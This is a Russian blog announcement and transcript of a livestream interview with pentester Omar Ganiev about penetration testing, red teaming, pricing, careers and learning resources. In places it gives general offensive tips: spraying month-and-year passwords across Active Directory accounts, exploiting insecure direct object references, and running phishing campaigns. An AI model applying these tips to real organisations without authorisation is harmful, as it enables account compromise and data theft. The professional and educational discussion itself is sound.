Русский
Русский
English
Статистика
Реклама

Хакинг

Анонс взрослый разговор о пентесте и хакинге

08.03.2021 20:18:48 | Автор: admin

ЗАВТРА, в 20:00 в наших соцсетях выступит Омар Ганиев, основатель компании DeteAct
и член российской команды хакеров LCBC. Омара можно смело назвать одним из самых лучших хакеров страны.

LCBC заняла первое место в финале международного турнира по компьютерной безопасности 0CTF в Шанхае в 2016 году.

Больше половины жизни Омар занимается взломом компьютерных систем. Для него это в первую очередь увлечение и основной жизненный навык, который постепенно стал работой, а уже затем основой для предпринимательства.

Помимо самой работы, Омара очень привлекает исследовательская стороны сторона этой деятельности, а также спортивная хакерские соревнования (CTF), в которых он много участвовал индивидуально и в составе различных команд.

Сейчас команда More Smoked Leet Chicken, членом которой является Омар, состоит из энтузиастов, работающих в разных компаниях и странах, и это сильнейшая в России и одна из сильнейших в мире CTF-команд.

Что касается компании DeteAct (официально ООО Непрерывные технологии), то она предоставляет услуги по анализу защищённости и тестированию на проникновение. Проще говоря, различные компании просят ребят взломать их системы для того, чтобы проверить их на прочность и узнать, как не допустить вредоносные хакерские атаки и потери для бизнеса.

Во время эфира обсудим, чем занимаются хакеры, работающие в легальном поле, что такое пентест, кто его заказывает и можно ли прожить в сети, не проверяя свою защищённость.




План выступления


Задавайте вопросы в комментариях и Омар ответит на них во время прямого эфира.

  • Чем занимаются хакеры, работающие в легальном поле, Что такое пентест, и кто его заказывает?
  • Насколько это сложная работа, и как проверить её качество?
  • Можно ли прожить в сети, не проверяя свою защищённость?
  • Какие уязвимости чаще всего можно обнаружить в софте и инфраструктурах компаний?


До встречи в эфире!



Подробнее..

Взрослый разговор о пентесте и хакинге

13.03.2021 16:07:18 | Автор: admin


На этой неделе в наших соцсетях выступал Омар Ганиев, основатель компании DeteAct
и член российской команды хакеров LCBC. Омара можно смело назвать одним из самых лучших хакеров страны.

LCBC заняла первое место в финале международного турнира по компьютерной безопасности 0CTF в Шанхае в 2016 году.

Больше половины жизни Омар занимается взломом компьютерных систем. Для него это в первую очередь увлечение и основной жизненный навык, который постепенно стал работой, а уже затем основой для предпринимательства.

Помимо самой работы, Омара очень привлекает исследовательская стороны сторона этой деятельности, а также спортивная хакерские соревнования (CTF), в которых он много участвовал индивидуально и в составе различных команд.

Сейчас команда More Smoked Leet Chicken, членом которой является Омар, состоит из энтузиастов, работающих в разных компаниях и странах, и это сильнейшая в России и одна из сильнейших в мире CTF-команд.

Что касается компании DeteAct (официально ООО Непрерывные технологии), то она предоставляет услуги по анализу защищённости и тестированию на проникновение. Проще говоря, различные компании просят ребят взломать их системы для того, чтобы проверить их на прочность и узнать, как не допустить вредоносные хакерские атаки и потери для бизнеса.

Делимся с вами записью и расшифровкой эфира.


Всем привет, меня зовут Омар Ганиев. Также я известен под никнеймом beched в хакерской среде. Я хакер, много лет занимаюсь проверкой безопасности компьютерных систем. Это стало для меня хобби еще в школе, а последние 9 лет это моя основная профессия. Последние 7 лет я работаю в стартапах в сфере информационной безопасности, сам являюсь основателем компании DeteAct, она же Непрерывные технологии. Сейчас нас 10 человек, мы хорошо растем и предоставляем услуги в области практической информационной безопасности. Тестирование на проникновение, анализ защищенности, прочие разновидности аудитов безопасности обо всем этом мы поговорим сегодня.

Пентест, тестирование на проникновение. Надо определиться, что это такое, потому что даже в сфере информационной безопасности, среди тех, кто пентестами и аудитами занимается, часто возникает путаница и непонимание терминологии. Часто оказывается, что разные люди под пентестом подразумевают разные вещи; особенно неприятно, когда эти люди заказчик и исполнитель услуг. Основные термины здесь аудит безопасности, тестирование на проникновение (penetration test, пентест), анализ защищенности (security assessment) и редтиминг (red team).

Аудит безопасности это наиболее общее понятие. Оно означает любой вид исследования безопасности объекта, проверку его соответствия требованиям безопасности необязательно информационной. Например, это может быть пожарная безопасность.

Пентест (тестирование на проникновение) это намного более конкретная штука, хотя и она может быть понята по-разному. Немедленная логическая ассоциация заключается в том, что пентест это проверка на то, можно ли проникнуть в какую-то систему, и результатом пентеста должен быть бинарный ответ да/нет: получилось ли проникнуть, или нет. Это одно из пониманий этой услуги то есть, проверяется, сможет ли потенциальный атакующий проникнуть в систему, добиться каких-то целей, допустим, за неделю или за две недели. В течение этого времени пентестеры пытаются ломать систему, и таким образом можно проверить уровень защищенности системы. Особенно это актуально в сфере комплаенса. Некоторые организации государственные организации, международные платежные системы могут требовать от компаний (банков, карточных эквайрингов) прохождения пентеста именно в таком смысле. Такой пентест должен проверить, получилось ли да или нет получить доступ к платежным данным. Если нет, то все нормально; если да, то все плохо.

Но есть и другое понимание пентеста, которое часто называют анализом защищенности. Это работа вширь: хакеры-пентестеры, вместо того, чтобы пытаться вглубь проникнуть к ресурсам, ищут как можно большее количество уязвимостей вширь. Чаще всего, все-таки, заказчики хотят видеть именно эту услугу. Им интересно не просто получить ответ (поломали или не поломали), а найти как можно больше дыр, чтобы закрыть их чтобы их в дальнейшем не поломали.
Редтиминг это похоже по значению на то, как работает пентест в смысле проникновения, но с некоторыми особенностями. Вообще, на тему того, что же такое редтиминг, ведется больше всего холиваров. Если кратко это такое мероприятие, при котором атакующая команда ставит своей целью нанесение определенного ущерба, достижение некоторых угроз или бизнес-рисков например, хищение средств, баз данных клиентов, почты руководителя (для каждой компании свой бизнес-риск, кому что критично). Перед командой атакующих практически не ставится ограничений (единственное ограничение рамки закона). В отличие от обычного анализа защищенности или пентеста, редтимеры могут достигать бизнес-рисков любыми методами: хоть проникнуть в офис и физически украсть бумагу с паролями или перехватить wifi. Защищающаяся сторона то есть, компания, которую тестируют тоже не ограничена. Безопасники, администраторы, разработчики, devops-ы сопротивляются этому тестированию, пытаются выявить атаки и предотвратить их. Таким образом, получается реалистичная тренировка и моделирование реальной ситуации. Учения, можно сказать.

Q: ради интереса: в каких странах более востребованы пентестеры, и откуда больше всего поступает заказов на проверку?

Самый широкий спрос на пентесты в США. Если второй вопрос по российским компаниям, то к ним больше всего заказов поступает именно из России. Этот рынок достаточно изолирован в каждой стране, сам по себе. Все стремятся заказывать такие услуги у тех, кого они знают, потому что это щепетильный вопрос; никто не хочет доверять свою безопасность кому-то из другой страны или незнакомому. С Запада, тем более, почти никто не будет заказывать такие услуги из России из-за санкций и плохой репутации.

Итак, мы примерно разобрались в пентесте и его разновидностях. Можно рассказать вкратце о том, как ведутся проекты и какая здесь методология. Тут надо сразу разделить методику проведения работ на так называемые ящики разного цвета. Можно проводить пентест в режиме blackbox (черный ящик) тестировщикам не выдается почти никакой информации об объекте исследования, кроме адреса сайта (или даже названия компании). Другая крайность whitebox (белый ящик), когда выдается вся информация. Если это инфраструктура, то выдаются все IP-адреса, схема сети, доступ во внутреннюю сеть (если необходимо), все hostname (доменные имена). Если это ПО, какой-нибудь веб-сервис, то выдаются исходные тексты, конфигурация, учетные записи с разными ролями и так далее. Наиболее распространенный режим greybox (серый ящик), это может быть что угодно в спектре от черного до белого. Какая-то информация выдается, но не вся. Например, для веб-сервиса могут быть выданы учетные записи с разными ролями, какая-то базовая информация о технологическом стеке: используемые языки программирования и базы данных, схема инфраструктуры сервиса. Но при этом не выдаются исходники.

После того, как определились с методологией, с режимом проведения работ, атакующей стороне даются вводные данные. То есть, если необходимо, выдаются доступы, адреса хостов и т.д. Атакующая сторона может выдать свои IP-адреса, с которых будут проводиться атаки, чтобы заказчик отличал их от реальных злоумышленников. Далее проводятся классические шаги пентестов; конкретная реализация и разбивка может отличаться, но, в целом, в начале должна быть проведена разведка. Пентестеры ищут точки входа в инфраструктуру хосты, сетевые сервисы, email-адреса. Если это web-сервис, то ищут API Endpoints различные web-интерфейсы, различные хосты API под домены и так далее. После того, как проведена разведка, наступает этап сканирования (phasing), когда проводится поиск уязвимостей в найденных интерфейсах. Когда уязвимости обнаружены, следующий этап эксплуатация: уязвимости используются, чтобы получить какой-то доступ. Дальше, в зависимости от того, какой это пентест, может проводиться постэксплуатация: продвижение вглубь системы и получение дополнительных доступов. Дальше может быть зачистка. Заказчик не всегда хочет, чтобы проводилась дальнейшая эксплуатация: иногда достаточно просто найти уязвимость и отрепортить ее.

Для того, чтобы было понятнее, что значит постэксплуатация: допустим, пентестеры нашли уязвимый сервер в инфраструктуре, доступный извне. Скажем, недавно вышли патчи для уязвимости в MS Exchange почтового сервера Microsoft, который почти у всех корпоратов стоит и торчит наружу. В нем обнаружилась критическая уязвимость. Эта уязвимость сама по себе дает огромный эффект: атакующие могут с ее помощью получить доступ к почте. Но, помимо этого, они могут осуществить постэксплуатацию и с этого почтового сервера дальше распространяться по инфраструктуре. Захватить какие-то еще серверы, инфраструктуру домена Windows Active Directory, попасть на рабочие станции сотрудников то есть, в инфраструктуру разработки. И так далее.

Q: какие минимальные вводные данные требуются от организации для пентеста и для аудита?


Минимальные вводные данные это название компании, то есть, их может практически не быть. Понятно, что на этапе разведки, когда мы по названию компании ищем хосты, или по адресу сайта ищем связанные с ним хосты, можно ошибиться и найти какие-то IP-адреса и хосты, которые не принадлежат этой компании. Поэтому после разведки обычно проходит согласование на всякий случай, чтобы не поломать чего-то лишнего. Ошибиться довольно легко.

Q: а в РФ есть реальные редтимеры с локпиком и кувалдами? :D

Я думаю, что такие навыки много у кого есть. Насколько востребованы такие проекты и насколько часто они выполняются я, если честно, не знаю. Чтобы требовалось прямо с отмычками ходить и перелезать через заборы. Наверно, такие проекты редко проводятся.
Q: как вы обходите Web Application Firewall или хотя бы Windows Defender? Что можете сказать про фреймворки Empire и Koadic, пользуетесь ли ими?

WAF мы обходим вручную, подбирая подходящий payload. Тут методики стандартные. Единственная сложность с WAF если это редтим, когда защищающаяся сторона препятствует атакам если мы свою атаку как-то спалим, или нас обнаружат при помощи каких-то средств защиты типа WAF, то нам могут прикрыть уязвимость. Поэтому нужно действовать аккуратно и проверять payload (т.е. свой эксплоит) на каких-то других хостах, где нет уязвимости. Таким образом, WAF получится проверить и обойти, но попутно не будет обнаружена уязвимость защищающейся стороной.

Q: какой софт нужен для атакующих и для защиты?

Какой софт нужен для защиты это огромная тема. Она намного шире, чем пентест. Какой софт нужен для атакующих это хороший вопрос, потому что это зависит от того, о каких работах мы говорим. Если мы говорим об анализе ПО, web-сервисов, то практически никакое ПО не требуется. Достаточно такого швейцарского ножа, как инструмент Burp Suite. Платная версия стоит $400 и содержит практически все необходимые инструменты. Плюс, конечно, любой рабочий язык программирования обычно у пентестеров это Python или GoLang. Этого достаточно.
Если говорить об инфраструктуре, о редтиминге там инструментарий гораздо шире. Нужны разнообразные сканеры уязвимостей, нужны инструменты для закрепления на системах: после того, как мы проломились в какую-то систему, нужно в ней закрепиться, нужно обфусцировать свой payload, чтобы он не был обнаружен антивирусом, и так далее.

Q: какие сферы в РФ больше всего просят отпентестить или провести аудит?

Видимо, речь про то, в каких индустриях наибольший спрос на пентест. Очевидно, что он нужен тем компаниям, в которых есть IT; чем более развито IT, чем это более IT-шная компания, тем больше нужен пентест. Примерно спрос этому соответствует. Для некоторых компаний пентест обязателен, потому что они являются частью критической информационной инфраструктуры: государственные предприятия и банки. Для банков пентест нужен по требованию Центробанка, и еще в рамках получения сертификата PCI DSS для международных платежных систем. Этот сертификат нужен и другим платежным организациям. То есть, платежные организации, субъекты критической информационной инфраструктуры и IT-компании требуют пентестов. То есть, любые IT-компании, включая стартапы, у которых вся инфраструктура это web-сервис с базой пользователей: для них критично, если их поломают.

Q: насколько важно понимание социальной инженерии при пентесте?

Я отдельно не упоминал ее. Я бы сказал, что это один из инструментов редтиминга; кроме того, зачастую социальная инженерия проводится отдельно, как отдельная услуга, и выглядит как простая рассылка. Мы делаем фишинговый сайт, ищем email сотрудников компании и рассылаем по ним ссылку на этот сайт с какой-нибудь легендой (например, это новый корпоративный портал, нужно всем обязательно зайти и ввести свой пароль).

Затем ведем статистику сколько человек просмотрело письмо, кликнуло на ссылку и ввело пароль. Показываем ее заказчику, и он понимает, с кем нужно проводить ликбез. Честно говоря, практически никаких навыков для такого тестирования не требуется, и компания сама способна легко провести его с помощью open source-инструментов, если речь идет про разовую рассылку. В целом, есть целый отдельный бизнес индустрия security awareness, повышение осведомленности людей в области информационной безопасности.

Есть специальные продукты, которые регулярно рассылают фишинговые письма по базе пользователей. Если человек повелся, то ему придет обучающее видео или другой интерактивный урок, который он должен будет пройти. А потом его еще раз проверят, и будет отслеживаться тренд например, год назад 50% сотрудников повелись на фишинг, а теперь только 5%. Конечно, полностью избавиться от опасности фишинга почти невозможно.

Насколько важно понимание оно важно, если вы проводите такие работы, но это достаточно легко. Или если вы проводите редтим, в его рамках очень действенны методы социальной инженерии. Но при этом они должны будут быть гораздо более аккуратными и точечными, конечно; это не может быть массовая рассылка по всем сотрудникам ее заметят и поймут, куда вы можете пытаться проникнуть. Нужно рассылать отдельным конкретным людям.

Q: из чего складывается стоимость услуги?

Отличный вопрос, потому что никто вам не ответит на него толком.

Это очень по-разному. Обычно пентест стоит сколько, сколько может заплатить заказчик, грубо говоря. Это один из коэффициентов. Проблема в том, что даже объем работы изначально будет не детерминирован особенно, если это blackbox. Мы изначально даже толком не знаем, сколько там будет хостов, интерфейсов. Мы можем только примерно понять, какого характера эта компания, какая у нее может быть инфраструктура и сколько нам понадобиться людей и времени, и из этого можно будет прикинуть трудозатраты в человеко-неделях. Если у нас есть какой-то фреймворк ценообразования, можно умножить человеко-недели на наш коэффициент и выдать это как цену.
На самом деле, все очень варьируется; часто, особенно в больших компаниях, продажник просто находит компанию, выбивает какой-то бюджет, и дальше нужно выполнить работы в рамках этого бюджета. И тут, скорее, трудозатраты подгоняются под цену, а не наоборот.

Могу еще сказать, что в итоге поскольку у нас непрозрачный рынок с непонятным ценообразованием стоимость работ может отличаться в разы при неизменном качестве и трудозатратах. Вы можете найти пентест за 300 тысяч и за 4 миллиона рублей при одинаковом объеме работ. Часто это видно даже на тендерах: есть ТЗ, смотришь, какие есть ценники и предложения разброс бывает в 5-10 раз. При том, что качество вряд ли отличается в 5-10 раз.

Раз уж мы заговорили про качество и цену пентеста. Нужно понимать, нужен ли вашей компании пентест а, если вы пентестер, нужно понимать, как обосновать проведение пентеста и продать его компании. Тут тоже нет универсального ответа. На мой взгляд, драйверы пентеста это несколько простых вещей. Один из них это комплаенс, о чем я уже говорил: когда от организации требуется проведение пентеста, и без этого не получится осуществлять бизнес-функции, вроде приема оплаты пластиковыми картами. Это понятно.

Другой драйвер это инциденты: когда компанию уже поломали, она понесла ущерб и спохватилась. Для того, чтобы защититься, нужно провести расследование, провести пентест, чтобы в дальнейшем не поломали, и провести другие мероприятия. Все начинают бегать и думать, что делать.

Третий драйвер это страх: допустим, инцидентов еще не было, но, может быть, они были у других членов отрасли, и компания боится. Еще один драйвер, который можно рассматривать совместно с драйвером страха это новые компании, например, стартапы, которые только начали какую-то разработку. Он подумали и решили, что надо сразу провести пентест, чтобы исправить уязвимости и не допускать их в дальнейшем. Чтобы к моменту, когда сервис станет публичным и, возможно, популярным, уязвимостей уже не было. Это самый здравый подход.

Еще один драйвер, очень распространенный у стартапов это требования контрагентов. Такая разновидность комплаенса, когда вы можете осуществлять свои бизнес-функции, но ваши контрагенты хотят проверить, что вы следите за своей безопасностью. Поэтому, если вы небольшая компания, которая хочет продавать, например, крупным западным компаниям, то вам обязательно придется пройти пентест. Особенно, если вы предлагаете SaaS (software as a service) тогда отчет о пентесте потребуют непременно. Это будет у них в гайдлайнах, их юристы и безопасники просто не допустят такого подрядчика, который не проходил пентест.

Это причины, по которым компании обращаются к пентестерам, и мы проводим тесты. А вот с качеством, на самом деле, очень сложно. Я уже говорил, что в пентесте изначально не детерминирован объем работы, но и результат тоже не детерминирован. Вы можете заказать пентест за 6 миллионов рублей и получить отчет, состоящий из слов уязвимостей не нашли. Как проверить, что работа была выполнена, причем качественно? Вы не можете этого понять. Для того, чтобы это точно проверить, нужно практически провести всю эту работу заново. Вы можете пытаться мониторить логи, чтобы следить, что от пентестеров действительно шла сетевая активность, но это все сложно. А по-простому проверить качество работы невозможно.
Возможные меры, кроме слежения за активностью просить подробные отчеты о том, что делается, просить артефакты, отчеты от сканеров и прочие логи, например, от инструмента Burp. Изначально можно обсудить методологию что вообще собираются делать пентестеры. Из этого может стать ясно, что они понимают. Но все это требует навыков и знаний поэтому, если в компании нет безопасников, которые уже взаимодействовали с пентестерами и понимают эти услуги, проверить качество работ не получится.

Q: скажите, с чего лучше начать? Идеальный возраст для глубокого погружения в сферу пентеста?

Оба этих вопроса про карьеру, и тут можно поменять пентест на программирование, например. Я бы сказал, что нет никакого идеального возраста, но это такая мантра, которую все повторяют якобы, никогда не поздно. Но, конечно, если человек начнет заниматься в 10 лет, то он скорее добьется успеха и быстрее будет обучаться, чем если он начнет в 40 лет; хотя это не значит, что начинать в 40 лет бесполезно. Просто понадобится больше усилий. Во-вторых, если говорить с утилитарной точки зрения для работы в сфере пентеста, для того, чтобы стать пентестером и устроиться на работу, порог входа ниже, чем для разработки. Потому что для того, чтобы начать приносить пользу в разработке, нужно хотя бы уметь программировать и знать какие-то технологии. А для того, чтобы начать хоть что-то делать в пентесте хотя это и может быть иллюзия деятельности достаточно научиться пользоваться парой инструментов и интерпретировать результаты этой работы. Но это будет совсем базовый порог входа. Для того, чтобы действительно круто прокачаться в пентесте, потребуется уже больше усилий, чем для разработки. Для того, чтобы по-настоящему прокачаться в хакерстве, нужно знать разработку причем даже не в одном языке программирования и технологическом стеке, а в нескольких. Еще нужно хотя бы в какой-то мере (а лучше хорошо) знать инфраструктуру, сети, администрирование Windows и Linux, и программирование. Нужно глубокое погружение в какую-то сферу, и при этом еще и уметь ломать. То есть, нижний порог входа в пентесте ниже, но стать senior или выше сложнее.

Для того, чтобы не застрять на первой ступеньке, нужно начать с изучения фундаментальных вещей. Программирование, сети, вообще технологии как устроены ОС, сети, как деплоятся современные сервисы, как в различных языках программирования работают различные известные атаки, как от них защищаться. Много всего, но все это фундаментальные вещи, которые надо знать, чтобы продвинуться.

Q: реальны ли сейчас атаки на wifi Evil Twin, или у компаний авторизации через RADIUS-сервер?

Честно говоря, не могу экспертно ответить, не обладая статистикой. Я думаю, у всех по-разному; наверняка много где прекрасно сработает Evil Twin.

Q: используете ли в своей работе методики и подходы NIST, OSSTMM, OSINT, OWASP и т.п., и какие можете выделить?

OSINT это не то чтобы методика, это просто разведка по открытым источникам. OWASP это вообще организация, но у этой организации есть методики для тестирования веб-приложений, мобильных приложений, и мы им следуем; по крайней мере, по духу, не выполняя каждый чеклист по галочкам они могут быть довольно спорные. Методологиям OSSTMM мы следуем; по-моему, как раз в OSSTMM и изложены шаги про разведку, сканирование, эксплуатацию, постэксплуатацию, зачистку то есть, основной смысл этой методологии в том, что должны быть применены такие шаги, но дальше детализируется намного больше.

В общем, коротко да, но не буквально. Мы следуем духу этой методологии.

Q: что спрашивают на собеседованиях?

По-разному. Зависит от того, на какую позицию вы идете. Часто паттерн вопроса бывает такой. Вам описывают какую-то ситуацию например, говорят: вы получили исполнение кода на сервере Linux извне, через периметр пробились, поломали веб-сервер, вы внутри, какие выполните действия дальше? Или вы попали на рабочую станцию сотрудника, какие дальнейшие действия? Или вы нашли уязвимость в cross-site scripting на какой-то странице, там внедрена политика content security policy с такими-то параметрами, как вы будете ее обходить? Такого плана вопросы обычно бывают.

Q: какой порог входа в bug bounty, и реально ли жить только на нём?

Bug bounty это вознаграждения за ошибки. Программы, в рамках которых компания дает деньги людям, сообщающим об уязвимостях в системах этой компании. Такой краудсорсинг пентеста, когда он проводится не по договору между двумя компаниями, а через публичную оферту. Это для тех, кто не знает.

На самом деле, bug bounty это растущая штука. Есть большие площадки, где много программ. Порог входа для участия в bug bounty для пентестеров он и низкий, и высокий. Низкий в том смысле, что этих программ bug bounty и ресурсов, которые можно поломать, существует столько, что уж какие-то простые уязвимости найти можно. Не обязательно сложные. Но, с другой стороны, можно упереться в какую-нибудь программу, где уже все простые баги нашли, и потратить на копание в ней два месяца, ничего не найдя. Это очень демотивирует. Поэтому часто бывает, что люди пробуют себя на этом поприще, и им не везет они напарываются на что-то сложное и не находят уязвимостей.

В целом, в bug bounty много людей, которые зарабатывают большие деньги, не обладая при этом уникальными и выдающимися знаниями. Либо им повезло пару раз, либо они поняли фишку bug bounty и научились находить программы и ресурсы, в которых будут простые уязвимости. Еще часто бывает, что человек находит какую-то уязвимость на каком-то ресурсе и потом понимает, что она на самом деле очень распространена, и таким же образом можно поломать еще много компаний, монетизируя это. Реально ли жить только на bug bounty да, есть даже миллионеры, которые сотни тысяч долларов в год делают только на bug bounty. Их мало; большинство, конечно, зарабатывает довольно мало. Но достаточно велик пласт людей, которые зарабатывают хотя бы десятки тысяч в год. То есть, уже не единицы и десятки человек, а сотни.

Q: Расскажите про версии Metasploit. Я слышал, что их несколько, и среди них есть платные. В чем разница?

Я думаю, можно зайти на сайт платной версии и прочитать, в чем разница. Я давно не пользовался Metasploit pro, но там есть web-интерфейс, как минимум. Это одно из отличий; я сейчас с ходу не скажу, какие там еще отличия принципиальные. Возможно, какие-то еще модули есть.

Я думал рассказать про то, какие обычно встречаются уязвимости. На самом деле, многие компании проводят пентесты в течение года и подсчитывают количество уязвимостей разных типов, чтобы подвести статистику по итогам года. Я такую статистику не подводил, но, если говорить по ощущениям и по таким самым простым вещам, которые обнаруживаются, в инфраструктуре самые простые и действенные уязвимости, которые приносят атакующим много пользы это слабые парольные политики. Банальный перебор паролей это бич инфраструктур. Если в компании работает хотя бы 500 человек, то довольно существенная часть из них будет не особенно технически подкована. Хотя бы у одного из них обычно можно подобрать пароль брутфорсом. Особенно это прикольно работает, когда в компании внедрена парольная политика, которая заставляет, например, иметь пароль, содержащий большую букву, маленькую букву и цифру, не короче 8 символов, и менять его раз в три месяца или в месяц. Это приводит к плохим результатам. Если человека заставляют делать так, то он не может запомнить пароль. Если он не пользуется менеджером паролей со случайными паролями, то он иногда просто пишет текущий месяц с большой буквы (типа December2020). На самом деле, это очень распространено во всех типовых корпоративных инфраструктурах представьте Active Directory, сотни сотрудников с Windows на машинах. Можно просто брать текущий или прошедший месяц и год, пройтись по всем учетным записям кто-нибудь да поломается. Очень действенная атака.

Если говорить о web-сервисах, то там самая простая атака это обход авторизации и доступ к данным других клиентов. Атака заключается в том, что вы берете запрос к web-приложению, который выдает, например, вашу банковскую выписку по номеру счета. В ссылке или в запросе на сайт передается номер счета, числовой, в ответ выдается PDF-файл с выпиской. Вы меняете свой номер счета на номер чужого счета, и получаете чужую выписку.

Эта уязвимость называется insecure direct object reference небезопасная прямая ссылка на объект. В современных сервисах это самая распространенная уязвимость, по моим наблюдениям. Более классические уязвимости, которые были распространены в прошлом например, SQL-инъекции и межсайтовый скриптинг встречаются все-таки реже в сервисах, написанных с использованием современных фреймворков. Особенно SQL-инъекции. Но вот логические ошибки попадаются, потому что от них фреймворки не спасают. Разработчик должен сам думать о том, как защититься, как реализовать ролевую модель и разграничить доступ к объектам.

Q: вы говорите о некой градации дыр в системе, не могли бы вы привести примеры простых, средних, сложных уязвимостях?

Я не помню, в каком контексте я об этом говорил, честно говоря. Ну, только что я говорил о том, что простые уязвимости это те, которые легко найти и легко эксплуатировать. Наверно, по этим параметрам можно охарактеризовать сложность уязвимости сложность поиска и сложность эксплуатации. Может быть такое, что найти ее сложно например, это какая-то хитрая логическая уязвимость, для эксплуатации которой нужно понимать логику работы сервиса и взаимодействие различных компонент, но при этом эксплуатация простая: нужно просто отправить несколько запросов. Или, например, может быть сложно найти, потому что вам дали исходники на 100 мб с миллионом строк кода сиди, читай.

Найти в этих 100 мб уязвимость может быть сложно но эксплуатировать может быть легко. Или наоборот эксплуатировать сложно из-за каких-то ограничений, из-за фаерволов. Но в отчетах по пентесту нет градации простые-сложные: есть градация по критичности. Критичность складывается из уровня риска то есть, из уровня ущерба и из вероятности эксплуатации. Хотя вероятность это почти то же, что сложность. Если нам для нахождения уязвимости потребовалась куча времени и навыки senior-пентестера, то мы можем оценить вероятность эксплуатации как невысокую. Мы нашли за три недели копания, а другие могут вообще не найти. Но при этом ущерб от этой уязвимости может быть высоким. Совместив такие показатели, получаем средний уровень риска.

Отчеты по пентесту имеют довольно стандартный шаблон. Бывает вводная часть, где просто описывается, что мы пентестили и зачем, какая модель нарушителя внешний или внутренний доступ, есть учетки у него или нет. Дальше идет резюме, в котором описывается кратко результат: какие уязвимости обнаружены, какой уровень защищенности все плохо или все хорошо. Описывается каждая уязвимость, демонстрируется со скриншотами, дается код, чтобы разработчики компании все поняли. И даются рекомендации. Там же дается оценка вероятности и уровня ущерба.

Q: много ли у вас при проведении пентеста встречались непропатченные Windows 7 c ms17-010 в корпоративном секторе?

Бывают. Обычно не в домене, правда. Не слишком много.

Q: как понять, что пора на собеседование? Как выделится среди других кандидатов? (возможно знания языков программирования или аккаунт на площадках по типу HackTheBox)

Я бы больше поставил на аккаунт на площадках. Если вы, конечно, там честно решаете задачи. Если нечестно тогда и знаний не будет, и вы все равно собеседование не пройдете.
Вообще, конечно, есть еще сертификации. Они ничего толком не показывают, но помогают пройти HR-фильтры и пробиться дальше.

Q: можете дать рекомендации по поводу литературы и ресурсов для закладки основ?

Да, правда, в не очень удобном формате.

Ссылки, которые предоставил Омар
Табличка про знания пентестеров:
docs.google.com/spreadsheets/d/15w9mA5HB9uuiquIx8pavdxThwfMrH7HSv2zmagrekec/edit#gid=0

Блоги:
blog.deteact.com/ru
blog.orange.tw
swarm.ptsecurity.com
malicious.link/post
adsecurity.org
posts.specterops.io/archive

Учебные площадки:
portswigger.net/web-security
www.hackthebox.eu
overthewire.org/wargames
ctftime.org

Литература:
Хакинг. Искусство эксплойта
Web Application Hacker's Handbook
The Tangled Web


Но сейчас нет недостатка в литературе сложность, скорее, в том, чтобы выбрать из массы материалов то, что подходит вам. Гуглите pentest courses сразу будет куча всего. Площадка HackTheBox отличная; я ничего не решал на ней, но имею представление. Думаю, многим навыкам там можно обучиться.

Q: какой ещё язык программирования стоит изучить, кроме Python и Bash?

Bash, наверно, действительно нужно уметь. Кстати, есть отличная площадка OverTheWireBandit, где можно хорошо потренировать Bash. А так достаточно одного языка, которым вы владеете в достаточной мере, чтобы выполнять задачи. Конечно, бывают такие задачи, для которых Python не подойдет например, если нужно быстро собирать данные с множества хостов по всему интернету. Но для большинства задач он подойдет. Однако, чем больше языков вы знаете хотя бы на уровне понимания парадигмы и чтения синтаксиса тем лучше. В ходе пентестов и аудитов вы будете сталкиваться с разными стеками и с приложениями, написанными на разных языках нужно уметь понимать, как они работают. Кроме того, даже если вы совсем не занимаетесь аудитом исходников ПО занимаетесь только инфраструктурой то вам все равно следует знать разные языки. Очень многие инструменты написаны не на Python. Если инструмент будет плохо работать возможно, придется разбираться в нем, читать код, патчить. Скажем, в инфраструктуре Windows это в основном C#.

Q: какие сертификаты наиболее востребованы для редтима, но кроме OSCP?

Именно для редтима? Есть сертификаты, которые так и называются Certified Redream Professional, Certified Redteam Expert, Pentester Academy. Но они не очень востребованы, они просто есть. Затрудняюсь ответить, какие именно действительно востребованы. Востребованность исчисляется тем, сколько работодателей вписывает их в требования вакансий, и сколько заказчиков в тендерные требования. Часто бывает, что требуется от сотрудников подрядчика наличие сертификата и там чаще всего OSCP или CEH старый сертификат, даже скорее теоретический, а не практический.

Q: нужны ли навыки декомпилирования в пентесте?

В какой-то мере да. Особенно если вы работаете именно с application security, в анализе защищенности приложений. Там это может пригодиться. Но чаще всего с мобильными приложениями: для них вам могут не давать исходники, но само приложение у вас будет, и вы будете его декомпилировать, реверс-инжинирить.

Вообще, если спрашивать на тему нужны ли навыки ну, про любой навык можно сказать, что он полезен. Но невозможно знать абсолютно все. Знать много хорошо, но нужно все-таки понимать свою специализацию, понимать, что вы умеете лучше. Даже внутри web-приложений бывают специализации; бывают специализации по индустриям например, человек может хорошо знать уязвимости платежных сервисов. Неважно, на уровне web или финансовой логики; бывают люди, которые только и занимаются тем, что тестируют платежные терминалы, интернет-банкинг, карточный эквайринг и так далее. Вроде бы это все одна область, но на самом деле там очень разные штуки. И хардвер может быть разный (смарткарты, терминалы), и web, и API, и мобильные приложения. Одним словом, любой навык может быть полезен, но не обязателен. Обязательно иметь какую-то критическую массу навыков и знаний.

Могу добавить насчет стоимости и востребованности. По моим оценкам, размер российского рынка пентестов около одного-полутора миллиардов рублей. Это я считал по итогам на конец 19 года. Имеется ввиду, что именно столько российские компании тратят на пентесты. Конечно, пентестерские компании могут хотя бы немного продавать услуги за рубеж, поэтому итоговый размер рынка будет несколько больше. Конечно, рынок пентеста очень фрагментирован; бывает очень много маленьких компаний, которые зарабатывают немного. Заказчики склонны менять поставщиков пентестов, потому что ротация обеспечивает свежий взгляд и максимальное покрытие. Одна команда, допустим, пропускает одну уязвимость, а другая заметит ее, но может пропустить другую. В силу этого не бывает полной монополии чтобы одна команда засела, и пентесты покупали только у нее. Они меняются каждый год.

Q: за сколько часов управились с экзаменами OSCP?

Не помню, несколько часов. Честно говоря, я сдавал два раза; в первый раз я прорешал все в течение дня, написал 80-страничный отчет, но не прочитал требования к нему. Оказалось, что нужен определенный формат скринов, и мой отчет не приняли, поэтому пришлось сдавать снова. На пересдаче ушло часов 5.

Q: посоветуйте русскоязычных блогеров в сфере пентеста

У нашей компании есть блог. Правда, мы нечасто пишем. Вообще, надо подписываться в Twitter на людей; большинство пентестеров пишет на английском, в том числе русскоязычные пентестеры. Мы стараемся дублировать и на русском пишем, и на английском. Я информацию получаю из Twitter подписываюсь на интересных людей, которые рано или поздно репостят все интересное, поэтому можно не следить специально за блогами, а получать все через Twitter. Или через Telegram-каналы. Русскоязычных блогеров нет, мне кажется.

Q: какие шансы у Linux/Network Administrator попасть в пентест?

Прямая дорога в инфраструктурный пентест. Будет достаточно несложно вкатиться, если администратор хорошо понимает сеть и Linux. Единственное будет еще короче дорога, если это Windows-администратор; корпоративные сети это обычно Windows. Но все равно нормально, это хороший бэкграунд.

